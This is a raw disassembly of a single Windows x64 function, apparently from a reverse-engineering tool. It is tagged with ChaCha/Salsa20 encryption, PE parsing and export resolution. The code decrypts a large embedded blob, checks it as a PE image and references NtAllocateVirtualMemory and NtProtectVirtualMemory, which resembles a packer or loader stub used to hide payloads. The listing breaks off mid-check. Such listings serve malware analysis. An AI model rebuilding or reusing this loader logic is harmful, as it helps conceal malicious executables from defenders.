Function at 0x140001656
Capabilities:
Encrypt data using salsa20 or chacha
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xcd8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xc40], xmm13
movaps xmmword [rbp + 0xc30], xmm12
movaps xmmword [rbp + 0xc20], xmm11
movaps xmmword [rbp + 0xc10], xmm10
movaps xmmword [rbp + 0xc00], xmm9
movdqa xmmword [rbp + 0xbf0], xmm8
movaps xmmword [rbp + 0xbe0], xmm7
movaps xmmword [rbp + 0xbd0], xmm6
and rsp, 0xffffffffffffffe0
lea rax, [0x140583290]
mov rcx, rax
shr rcx, 0x38
mov byte [rsp + 0x4a7], cl
mov rcx, rax
shr rcx, 0x28
mov word [rsp + 0x4a5], cx
mov rcx, rax
shr rcx, 8
mov dword [rsp + 0x4a1], ecx
push 0x20
pop rbx
mov qword [rsp + 0x4a8], rbx
lea r14, [0x1405832bc]
mov qword [rsp + 0x4b0], r14
mov qword [rsp + 0x4b8], rbx
lea rdi, str.expand_32_byte_kntdll.dllNtAllocateVirtualMemoryNtProtectVirtualMemoryymmxmmzmm
mov qword [rsp + 0x4c0], rdi
and qword [rsp + 0x4c8], 0
mov qword [rsp + 0x4d0], rdi
and qword [rsp + 0x4d8], 0
movdqa xmm0, xmmword [0x140016060]
movdqu xmmword [rsp + 0x4e0], xmm0
mov word [rsp + 0x4f0], 0x113
movabs rcx, 0x100000001000
mov qword [rsp + 0x4f8], rcx
mov dword [rsp + 0x500], 0x400
mov byte [rsp + 0x4a0], al
mov byte [rsp + 0x4f2], 0
mov ecx, 0x400000
call fcn.140003704
test rax, rax
je 0x140003016
mov rsi, rax
xor r15d, r15d
lea rcx, [rsi + r15]
cmp r15, 0x3ffc00
je 0x1400017b4
mov r8d, 0x400
xor edx, edx
call sub.msvcrt.dll_memset
add r15, 0x400
jmp 0x140001791
xor r15d, r15d
mov r8d, 0x400
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rsp + 0x90], 1
mov eax, 0x1000
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rax
push 1
pop r11
lea rax, [rsp + 0x1a0]
mov dword [rax], r11d
push 0x20
pop rcx
lea rdx, [rsp + 0x1e0]
mov dword [rdx], ecx
lea r9, [rsp + 0x260]
mov dword [r9], ecx
lea r10, [rsp + 0x2a0]
mov dword [r10], ecx
lea r8, [rsp + 0x840]
mov qword [r8], rax
push 4
pop rax
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rdx
lea rcx, [rsp + 0x200]
mov dword [rcx], 0x1000
mov qword [r8 + 0x18], rax
mov qword [r8 + 0x20], rcx
lea rcx, [rsp + 0x220]
mov dword [rcx], 3
mov qword [r8 + 0x28], rax
mov qword [r8 + 0x30], rcx
lea rcx, [rsp + 0x240]
mov dword [rcx], 0x13
mov qword [r8 + 0x38], rax
mov qword [r8 + 0x40], rcx
lea rcx, [rsp + 0x180]
mov qword [r8 + 0x48], rax
mov qword [r8 + 0x50], rcx
mov qword [r8 + 0x58], rax
mov qword [r8 + 0x60], r9
mov rdx, qword [rsp + 0x4a0]
mov qword [r8 + 0x68], rax
mov qword [r8 + 0x70], rdx
mov qword [r8 + 0x78], rbx
mov qword [r8 + 0x80], r10
lea rdx, [rsp + 0x2e0]
and dword [rdx], 0
mov qword [r8 + 0x88], rax
mov qword [r8 + 0x90], r14
mov qword [r8 + 0x98], rbx
mov qword [r8 + 0xa0], rdx
lea rdx, [rsp + 0x100]
and dword [rdx], 0
mov qword [r8 + 0xa8], rax
mov qword [r8 + 0xb0], rdi
and qword [r8 + 0xb8], 0
mov dword [rcx], r11d
mov qword [r8 + 0xc0], rdx
mov qword [r8 + 0xc8], rax
mov qword [r8 + 0xd0], rdi
and qword [r8 + 0xd8], 0
pxor xmm0, xmm0
lea rdi, [rsp + 0x730]
movdqa xmmword [rdi + 0x30], xmm0
movdqa xmmword [rdi + 0x20], xmm0
movdqa xmmword [rdi + 0x10], xmm0
movdqa xmmword [rdi], xmm0
and qword [rdi + 0x40], 0
push 0x40
pop rdx
push 0xe
pop r9
mov rcx, rdi
call fcn.140004355
movdqa xmm0, xmmword [rdi]
movaps xmm1, xmmword [rdi + 0x10]
movaps xmm2, xmmword [rdi + 0x20]
movaps xmm3, xmmword [rdi + 0x30]
lea rdi, [rsp + 0x370]
movaps xmmword [rdi + 0x30], xmm3
movaps xmmword [rdi + 0x20], xmm2
movaps xmmword [rdi + 0x10], xmm1
movdqa xmmword [rdi], xmm0
push 0x48
pop rbx
cmp r15, 1
je 0x1400019cb
lea r14, [r15 + 1]
and dword [rsp + 0x3b0], 0
mov dword [rsp + 0x3b4], r15d
mov edx, 0x400
mov rcx, rsi
mov r8, rdi
mov r9, rbx
call fcn.140004692
mov dword [rsp + 0x3b0], 1
lea rcx, [rsi + 0x400]
mov edx, 0x400
mov r8, rdi
mov r9, rbx
call fcn.140004692
add rsi, 0x400000
mov r15, r14
jmp 0x140001970
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
xor r15d, r15d
lea rbx, [rsp + 0x4a0]
lea r14, [rsp + 0x840]
cmp r15d, 3
je 0x140001a46
xor r12d, r12d
cmp r12d, 4
je 0x140001a41
xor r13d, r13d
cmp r13d, 1
je 0x140001a3c
mov dword [rsp + 0x840], r15d
mov dword [rsp + 0x844], r13d
inc r13d
mov dword [rsp + 0x848], r12d
and dword [rsp + 0x84c], 0
mov rcx, rbx
mov rdx, r14
mov r8, rsi
mov r9, rdi
call fcn.14000371f
jmp 0x140001a00
inc r12d
jmp 0x1400019f7
inc r15d
jmp 0x1400019ee
cmp qword [rsp + 0x88], 0xfff
jbe 0x140003016
mov edx, 0x3ffc00
add rdx, qword [rsp + 0x80]
lea rsi, [rsp + 0x840]
mov r8d, 0x400
mov rcx, rsi
call sub.msvcrt.dll_memcpy
push 0x20
pop rdi
mov rcx, rdi
mov dl, 1
call fcn.140003428
mov r14, rax
mov r15, rdx
mov r9d, 0x400
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.140004692
mov r8, qword [rsp + 0x88]
test r8, r8
je 0x140001ac3
shl r8, 0xa
mov rcx, qword [rsp + 0x80]
push 8
pop rdx
call fcn.14000c1cd
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
lea rsi, [rsp + 0x370]
movaps xmmword [rsi - 0x10], xmm1
movaps xmmword [rsi - 0x20], xmm0
mov ecx, 0x56ca10
call fcn.140003473
mov rdi, rax
mov qword [rsp + 0x60], rdx
lea rdx, [0x140016880]
mov r8d, 0x56ca10
mov rcx, rax
call sub.msvcrt.dll_memcpy
lea rdx, [rsp + 0x740]
xorps xmm0, xmm0
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea rax, [rsp + 0x350]
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], 0x20
mov qword [r9 + 0x10], rsi
and qword [r9 + 0x18], 0
movdqu xmm0, xmmword [str.expand_32_byte_kntdll.dllNtAllocateVirtualMemoryNtProtectVirtualMemoryymmxmmzmm]
movdqa xmmword [rdx - 0x10], xmm0
mov qword [r9 + 0x20], 4
lea r8, [rsp + 0x760]
lea rsi, [rsp + 0x4a0]
mov rcx, rsi
call fcn.140008f0a
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x140001b99
cmp rdx, 4
jne 0x140003016
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x140001b7d
lea rax, [0x1405832b0]
lea r9, [rsp + 0x80]
mov qword [r9], rax
mov qword [r9 + 8], 0xc
lea rax, [0x1405832bc]
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
mov qword [r9 + 0x20], 4
lea rdx, [rsp + 0x764]
lea r8, [rsp + 0x770]
lea rsi, [rsp + 0x4a0]
mov rcx, rsi
call fcn.140008f0a
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x140001c1a
cmp rdx, 4
jne 0x140003016
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x140001bfe
mov al, byte [0x140015010]
cmp al, 0xff
mov qword [rsp + 0x58], rdi
jne 0x140001cef
lea rsi, [rsp + 0x370]
mov rcx, rsi
call fcn.1400077f8
lea rbx, [rsp + 0x4a0]
mov rcx, rbx
call fcn.14000781a
mov esi, dword [rsi + 8]
mov edi, dword [rbx + 4]
lea rcx, [0x140583486]
lea rdx, [0x140583489]
call fcn.1400089b1
mov ebx, esi
not ebx
test al, al
je 0x140001c82
test ebx, 0xc000000
jne 0x140001cd9
call fcn.140009c5f
and eax, 2
shr eax, 1
jmp 0x140001cdb
lea rcx, [0x140583486]
mov rdx, rcx
call fcn.1400089b1
test al, al
je 0x140001ca8
test ebx, 0xc000000
jne 0x140001cd9
call fcn.140009c5f
not eax
test al, 6
jmp 0x140001cd4
lea rcx, [0x140583486]
lea rdx, [0x14058348c]
call fcn.1400089b1
mov ecx, eax
mov al, 1
test cl, cl
je 0x140001cdb
test ebx, 0xc000000
jne 0x140001cd9
call fcn.140009c5f
not eax
test al, 0xe6
sete al
jmp 0x140001cdb
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x140015010], sil
movaps xmm0, xmmword [rsp + 0x730]
movaps xmm1, xmmword [rsp + 0x740]
movaps xmm2, xmmword [rsp + 0x750]
movaps xmm3, xmmword [rsp + 0x760]
lea rsi, [rsp + 0x3b0]
movaps xmmword [rsi - 0x10], xmm3
movaps xmmword [rsi - 0x20], xmm2
movaps xmmword [rsi - 0x30], xmm1
movaps xmmword [rsi - 0x40], xmm0
mov rcx, rsi
call fcn.140008ef7
mov byte [rsi + 0x40], 0
xorps xmm0, xmm0
lea rdx, [rsp + 0xe0]
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea rcx, [rsp + 0x370]
push 0x20
pop r8
call fcn.140009302
mov al, byte [0x140015011]
cmp al, 0xff
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x68], r15
je 0x14000240b
cmp al, 1
jne 0x1400024d3
lea rsi, [rsp + 0x4a0]
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call fcn.14000be47
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
movaps xmm0, xmmword [rsi + 0x20]
movaps xmm1, xmmword [rsi + 0x30]
lea rdx, [rsp + 0x100]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
movaps xmm0, xmmword [rsi + 0x40]
movaps xmmword [rdx + 0x20], xmm0
movaps xmm0, xmmword [rsi + 0x50]
movaps xmmword [rdx + 0x30], xmm0
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov r8, rdx
call fcn.140009f5e
movaps xmm10, xmmword [rsi]
movaps xmm11, xmmword [rsi + 0x10]
movaps xmm8, xmmword [rsi + 0x20]
movaps xmm9, xmmword [rsi + 0x30]
mov eax, 0x3ffffff
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x6e0]
push 0xffffffffffffffff
pop rdx
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, rbx
call fcn.14000a4e1
lea rdx, [rsp + 0x400]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea rsi, [rsp + 0x460]
mov rcx, rsi
mov r8, rbx
call fcn.14000a781
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea rbx, [rsp + 0x700]
push 0x40
pop rdx
mov rcx, rbx
mov r9, r8
call fcn.14000a4e1
lea rdx, [rsp + 0x420]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea r15, [rsp + 0x440]
mov rcx, r15
mov r8, rbx
call fcn.14000bec5
lea rdi, [rsp + 0x480]
mov rcx, rdi
mov rdx, r15
call fcn.14000a792
lea r14, [rsp + 0x4a0]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.14000a532
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
lea rsi, [rsp + 0x1a0]
movaps xmmword [rsi + 0x10], xmm11
movaps xmmword [rsi], xmm10
lea r13, [rsp + 0x1e0]
mov rcx, r13
mov rdx, rsi
call fcn.14000bdc6
lea r14, [rsp + 0x220]
mov rcx, r14
mov rdx, r13
call fcn.14000a792
lea rdx, [rsp + 0x200]
movaps xmmword [rdx + 0x10], xmm9
movaps xmmword [rdx], xmm8
lea rcx, [rsp + 0x4a0]
mov r8, r14
call fcn.14000a532
or qword [rsp + 0x20], 0xffffffffffffffff
lea r12, [rsp + 0x180]
mov edx, 0x3ffffff
mov rcx, r12
push 0xffffffffffffffff
pop r8
mov r9, r8
call fcn.14000a4e1
lea r14, [rsp + 0x240]
movaps xmmword [r14 + 0x10], xmm11
movaps xmmword [r14], xmm10
lea rbx, [rsp + 0x4c0]
mov rcx, rbx
mov rdx, r14
mov r8, r12
call fcn.14000a781
movaps xmm8, xmmword [rbx - 0x20]
movaps xmm9, xmmword [rbx - 0x10]
movaps xmm10, xmmword [rbx]
movaps xmm11, xmmword [rbx + 0x10]
push 0x1a
pop rax
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x460]
mov rcx, rbx
push 0x40
pop rdx
mov r8, rdx
mov r9, rdx
call fcn.14000a4e1
movaps xmmword [r15 + 0x10], xmm9
movaps xmmword [r15], xmm8
lea r15, [rsp + 0x4a0]
lea rdx, [rsp + 0x440]
mov rcx, r15
mov r8, rbx
call fcn.14000bec5
movaps xmm12, xmmword [r15]
movaps xmm13, xmmword [r15 + 0x10]
movaps xmmword [rdi + 0x10], xmm11
movaps xmmword [rdi], xmm10
movaps xmmword [rsi + 0x10], xmm13
movaps xmmword [rsi], xmm12
lea rbx, [rsp + 0x200]
lea rdx, [rsp + 0x480]
lea r8, [rsp + 0x1a0]
mov rcx, rbx
call fcn.14000a532
movaps xmmword [r13 + 0x10], xmm13
movaps xmmword [r13], xmm12
lea rsi, [rsp + 0x220]
lea rdx, [rsp + 0x1e0]
mov rcx, rsi
call fcn.14000bed6
lea r12, [rsp + 0x4a0]
mov rcx, r12
mov rdx, rbx
mov r8, rsi
call fcn.14000a532
movaps xmm10, xmmword [r12]
movaps xmm11, xmmword [r12 + 0x10]
mov edi, 0x3ffffff
mov qword [rsp + 0x20], rdi
xor r13d, r13d
lea rsi, [rsp + 0x180]
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call fcn.14000a4e1
movaps xmmword [r14 + 0x10], xmm9
movaps xmmword [r14], xmm8
lea r14, [rsp + 0x4a0]
lea r15, [rsp + 0x240]
mov rcx, r14
mov rdx, r15
mov r8, rsi
call fcn.14000a781
movaps xmm8, xmmword [r14]
movaps xmm9, xmmword [r14 + 0x10]
mov qword [rsp + 0x20], rdi
lea r14, [rsp + 0x6e0]
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, r14
push 0xffffffffffffffff
pop rdi
mov rdx, rdi
call fcn.14000a4e1
lea rax, [rsp + 0x400]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rsi, [rsp + 0x460]
lea rdx, [rsp + 0x400]
mov rcx, rsi
mov r8, r14
call fcn.14000a781
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea r14, [rsp + 0x700]
mov rcx, r14
push 0x40
pop rdx
mov r9, r8
call fcn.14000a4e1
lea rax, [rsp + 0x420]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r12, [rsp + 0x440]
lea rdx, [rsp + 0x420]
mov rcx, r12
mov r8, r14
call fcn.14000bec5
lea r14, [rsp + 0x480]
mov rcx, r14
mov rdx, r12
call fcn.14000a792
lea r12, [rsp + 0x4a0]
mov rcx, r12
mov rdx, rsi
mov r8, r14
call fcn.14000a532
movaps xmm10, xmmword [r12]
movaps xmm11, xmmword [r12 + 0x10]
lea rax, [rsp + 0x1a0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r14, [rsp + 0x1e0]
lea rdx, [rsp + 0x1a0]
mov rcx, r14
call fcn.14000bdc6
lea rsi, [rsp + 0x220]
mov rcx, rsi
mov rdx, r14
call fcn.14000a792
movaps xmmword [rbx + 0x10], xmm9
movaps xmmword [rbx], xmm8
lea rcx, [rsp + 0x4a0]
lea rdx, [rsp + 0x200]
mov r8, rsi
call fcn.14000a532
or qword [rsp + 0x20], 0xffffffffffffffff
lea rbx, [rsp + 0x180]
mov edx, 0x3ffffff
mov rcx, rbx
mov r8, rdi
mov r9, rdi
call fcn.14000a4e1
movaps xmmword [r15 + 0x10], xmm11
movaps xmmword [r15], xmm10
lea r15, [rsp + 0x4c0]
lea rdx, [rsp + 0x240]
mov rcx, r15
mov r8, rbx
call fcn.14000a781
movdqa xmm8, xmmword [r15 - 0x20]
movaps xmm9, xmmword [r15 - 0x10]
movaps xmm10, xmmword [r15]
movaps xmm11, xmmword [r15 + 0x10]
push 2
pop rdi
mov dword [rsp + 0x38], edi
push 4
pop rbx
mov dword [rsp + 0x30], ebx
push 6
pop r15
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea r12, [rsp + 0x200]
mov rcx, r12
xor edx, edx
mov r8d, r15d
mov r9d, ebx
call fcn.140009eed
movaps xmmword [r14 + 0x10], xmm11
movaps xmmword [r14], xmm10
lea r14, [rsp + 0x180]
lea rdx, [rsp + 0x1e0]
mov rcx, r14
mov r8, r12
call fcn.140009f2d
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea r12, [rsp + 0x240]
mov rcx, r12
xor edx, edx
mov r8d, r15d
mov r9d, ebx
call fcn.140009eed
movaps xmmword [rsi + 0x10], xmm9
movdqa xmmword [rsi], xmm8
lea rsi, [rsp + 0x4a0]
lea rdx, [rsp + 0x220]
mov rcx, rsi
mov r8, r12
call fcn.140009f2d
lea rbx, [rsp + 0x1a0]
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call fcn.14000bee7
lea rcx, [rsp + 0x80]
mov rdx, rbx
call fcn.14000bc88
lea rcx, [rsp + 0x180]
call fcn.140009e81
cmp r13, 0x40
je 0x1400022fb
movdqu xmm0, xmmword [rsp + 0x180]
movdqu xmmword [rsp + r13 + 0x4a0], xmm0
add r13, 0x10
jmp 0x1400022dc
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movaps xmm2, xmmword [rsp + 0x120]
movaps xmm3, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x310], xmm3
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmm2, xmmword [rsp + 0xa0]
movaps xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmmword [rsp + 0x2b0], xmm1
movaps xmmword [rsp + 0x2c0], xmm2
movaps xmmword [rsp + 0x2d0], xmm3
lea rdx, [rsp + 0x4a0]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x290], xmm3
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov eax, dword [rsp + 0x110]
mov dword [rsp + 0xd0], eax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x730]
mov r8d, 0x108
call sub.msvcrt.dll_memcpy
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1c0], xmm0
mov rax, qword [rsp + 0x8f]
mov qword [rsp + 0x1cf], rax
xor r13d, r13d
jmp 0x14000255d
lea rsi, [rsp + 0x730]
mov rcx, rsi
call fcn.1400077f8
lea rbx, [rsp + 0x4a0]
mov rcx, rbx
call fcn.14000781a
mov esi, dword [rsi + 8]
mov edi, dword [rbx + 4]
lea rcx, [0x140583486]
lea rdx, [0x140583489]
call fcn.1400089b1
mov ebx, esi
not ebx
test al, al
je 0x140002460
test ebx, 0xc000000
jne 0x1400024b7
call fcn.140009c5f
and eax, 2
shr eax, 1
jmp 0x1400024b9
lea rcx, [0x140583486]
mov rdx, rcx
call fcn.1400089b1
test al, al
je 0x140002486
test ebx, 0xc000000
jne 0x1400024b7
call fcn.140009c5f
not eax
test al, 6
jmp 0x1400024b2
lea rcx, [0x140583486]
lea rdx, [0x14058348c]
call fcn.1400089b1
mov ecx, eax
mov al, 1
test cl, cl
je 0x1400024b9
test ebx, 0xc000000
jne 0x1400024b7
call fcn.140009c5f
not eax
test al, 0xe6
sete al
jmp 0x1400024b9
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x140015011], sil
jne 0x140001d76
xorps xmm0, xmm0
and dword [rsp + 0xd0], 0
movaps xmmword [rsp + 0xc0], xmm0
mov edi, 0x3ffffff
and edi, dword [rsp + 0xe0]
mov ebx, dword [rsp + 0xe3]
mov r14d, dword [rsp + 0xe6]
shr ebx, 2
and ebx, 0x3ffff03
shr r14d, 4
and r14d, 0x3ffc0ff
mov r15d, dword [rsp + 0xe9]
shr r15d, 6
and r15d, 0x3f03fff
mov r12d, dword [rsp + 0xec]
shr r12d, 8
and r12d, 0xfffff
movdqa xmm8, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x340], xmm8
mov r13b, byte [rsp + 0x340]
psrldq xmm8, 1
mov eax, dword [rsp + 0xd0]
lea rsi, [rsp + 0x878]
mov dword [rsi - 4], eax
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi - 0x14], xmm0
lea rdx, [rsp + 0x730]
mov r8d, 0x108
mov rcx, rsi
call sub.msvcrt.dll_memcpy
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movaps xmm3, xmmword [rsp + 0x310]
movaps xmmword [rsi + 0x128], xmm0
movaps xmmword [rsi + 0x138], xmm1
movaps xmmword [rsi + 0x148], xmm2
movaps xmmword [rsi + 0x158], xmm3
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmm1, xmmword [rsp + 0x2b0]
movaps xmm2, xmmword [rsp + 0x2c0]
movaps xmm3, xmmword [rsp + 0x2d0]
movaps xmmword [rsi + 0x168], xmm0
movaps xmmword [rsi + 0x178], xmm1
movaps xmmword [rsi + 0x188], xmm2
movaps xmmword [rsi + 0x198], xmm3
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movaps xmm2, xmmword [rsp + 0x280]
movaps xmm3, xmmword [rsp + 0x290]
movaps xmmword [rsi + 0x1a8], xmm0
movaps xmmword [rsi + 0x1b8], xmm1
movaps xmmword [rsi + 0x1c8], xmm2
movaps xmmword [rsi + 0x1d8], xmm3
mov rax, qword [rsp + 0x1cf]
mov qword [rsi + 0x200], rax
movaps xmm0, xmmword [rsp + 0x1c0]
movups xmmword [rsi + 0x1f1], xmm0
mov byte [rsi - 0x38], r13b
movdqa xmmword [rsp + 0x330], xmm8
movq qword [rsi - 0x37], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsi - 0x2f], xmm0
pextrw eax, xmm8, 6
mov word [rsi - 0x2b], ax
mov al, byte [rsp + 0x33e]
mov byte [rsi - 0x29], al
mov dword [rsi - 0x28], edi
mov dword [rsi - 0x24], ebx
mov dword [rsi - 0x20], r14d
mov dword [rsi - 0x1c], r15d
mov dword [rsi - 0x18], r12d
movaps xmmword [rsi + 0x108], xmm6
movaps xmmword [rsi + 0x118], xmm7
and qword [rsi + 0x1e8], 0
xor edi, edi
mov byte [rsi + 0x1f0], dil
lea rcx, [rsp + 0xe0]
push 0x20
pop rdx
call fcn.14000dec5
lea rdx, [rsp + 0x370]
mov dword [rdx + 0x30], 1
mov byte [rdx + 0x80], dil
lea r12, [rsp + 0xa80]
mov r8d, 0x84
mov rcx, r12
call sub.msvcrt.dll_memcpy
lea rdx, str.expand_32_byte_kntdll.dllNtAllocateVirtualMemoryNtProtectVirtualMemoryymmxmmzmm
lea rbx, [rsp + 0x840]
mov rcx, rbx
xor r8d, r8d
call fcn.1400092a0
mov r8d, 0x56ca00
mov rcx, rbx
mov rdi, qword [rsp + 0x58]
mov rdx, rdi
call fcn.1400092a0
lea rsi, [rsp + 0x730]
mov rcx, rsi
call fcn.140009e81
and qword [rsi], 0
mov qword [rsi + 8], 0x56ca00
mov rax, qword [rsi]
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x4a0]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
push 1
pop r14
mov rcx, rbx
mov r8, r14
call fcn.140008f64
lea rcx, [rsp + 0x4a0]
mov r8d, 0x240
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov al, byte [0x140015011]
cmp al, 1
jne 0x1400027ae
lea rcx, [rsp + 0x370]
lea rdx, [rsp + 0x4a0]
call fcn.14000a7a0
jmp 0x14000292c
mov esi, dword [rsp + 0x4c8]
mov eax, esi
shr eax, 0x1a
mov edx, 0x3ffffff
and esi, edx
add eax, dword [rsp + 0x4cc]
mov ecx, eax
shr ecx, 0x1a
and eax, edx
add ecx, dword [rsp + 0x4d0]
mov r9d, ecx
shr r9d, 0x1a
add r9d, dword [rsp + 0x4d4]
and ecx, edx
mov r10d, r9d
shr r10d, 0x1a
mov r8d, r9d
and r8d, edx
lea r11d, [r10 + r10*4]
add r11d, dword [rsp + 0x4c4]
mov r10d, r11d
shr r10d, 0x1a
add r10d, esi
and r11d, edx
lea ebx, [r11 + 5]
mov esi, ebx
shr esi, 0x1a
add esi, r10d
mov edi, esi
shr edi, 0x1a
add edi, eax
mov r13d, edi
shr r13d, 0x1a
add r13d, ecx
mov r12d, r13d
shr r12d, 0x1a
lea r15d, [r12 + r8]
add r15d, 0xfc000000
add r12d, r8d
mov r8d, r15d
sar r8d, 0x1f
shr r15d, 0x1f
dec r15d
and edx, r15d
and ebx, edx
and esi, edx
and edi, edx
and edx, r13d
and r15d, r12d
and r11d, r8d
or r11d, ebx
and r10d, r8d
or r10d, esi
and eax, r8d
or eax, edi
and ecx, r8d
or ecx, edx
and r8d, r9d
or r8d, r15d
mov edi, r10d
shl edi, 0x1a
or edi, r11d
shr r10d, 6
mov edx, eax
shl edx, 0x14
or edx, r10d
shr eax, 0xc
mov r9d, ecx
shl r9d, 0xe
or r9d, eax
shr ecx, 0x12
shl r8d, 8
or r8d, ecx
add edi, dword [rsp + 0x4a0]
mov ebx, dword [rsp + 0x4a4]
mov eax, dword [rsp + 0x4a8]
adc rbx, rdx
add rax, r9
mov r15, rbx
shr r15, 0x20
add r8d, dword [rsp + 0x4ac]
add r15, rax
mov r12, r15
shr r12, 0x20
add r12d, r8d
lea rsi, [rsp + 0x730]
mov rcx, rsi
call fcn.140009e81
mov dword [rsi], edi
mov rdi, qword [rsp + 0x58]
mov dword [rsi + 4], ebx
mov dword [rsi + 8], r15d
mov dword [rsi + 0xc], r12d
lea r12, [rsp + 0xa80]
mov eax, dword [rsi]
mov dword [rsp + 0x370], eax
mov eax, dword [rsi + 4]
mov dword [rsp + 0x374], eax
mov eax, dword [rsi + 8]
mov dword [rsp + 0x378], eax
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x37c], eax
mov r15, qword [rsp + 0x68]
mov bl, 1
xor eax, eax
cmp rax, 0x10
je 0x140002964
lea rsi, [rax + 1]
mov dl, byte [rdi + rax + 0x56ca00]
xor dl, byte [rsp + rax + 0x370]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.14000deba
and bl, al
mov rax, rsi
jmp 0x140002935
mov ecx, ebx
call fcn.14000deba
test al, al
je 0x1400029a8
mov r8d, 0x56ca00
mov rcx, r12
mov rdx, rdi
call fcn.140009302
lea rcx, [rsp + 0x840]
call fcn.1400097f0
mov rsi, qword [rsp + 0x60]
and rsi, 0xffffffffffffff00
lea rcx, [rsp + 0x350]
call fcn.140009c6c
jmp 0x1400029db
lea rcx, [rsp + 0x840]
call fcn.1400097f0
mov rcx, rdi
mov rdx, qword [rsp + 0x60]
call fcn.140003414
lea rcx, [rsp + 0x350]
call fcn.140009c6c
push 0x13
pop rax
mov qword [rsp + 0x60], rax
xor esi, esi
xor edi, edi
mov rcx, qword [rsp + 0x70]
mov rdx, r15
call fcn.140003414
test rdi, rdi
je 0x140003016
cmp word [rdi], 0x5a4d
jne 0x140003016
mov eax, dword [rdi + 0x3c]
test eax, eax
je 0x140003016
cmp eax, 0x40
jb 0x140003016
cmp eax, 0x56ca00
ja 0x140003016
movsxd rbx, eax
movzx eax, word [rbx + rdi + 0x18]
cmp eax, 0x20b
je 0x140002a66
cmp eax, 0x10b
jne 0x140003016
cmp dword [rdi + rbx], 0x4550
jne 0x140003016
lea rcx, [rdi + rbx]
cmp word [rcx + 4], 0x14c
jne 0x140003016
test byte [rcx + 0x16], 2
je 0x140003016
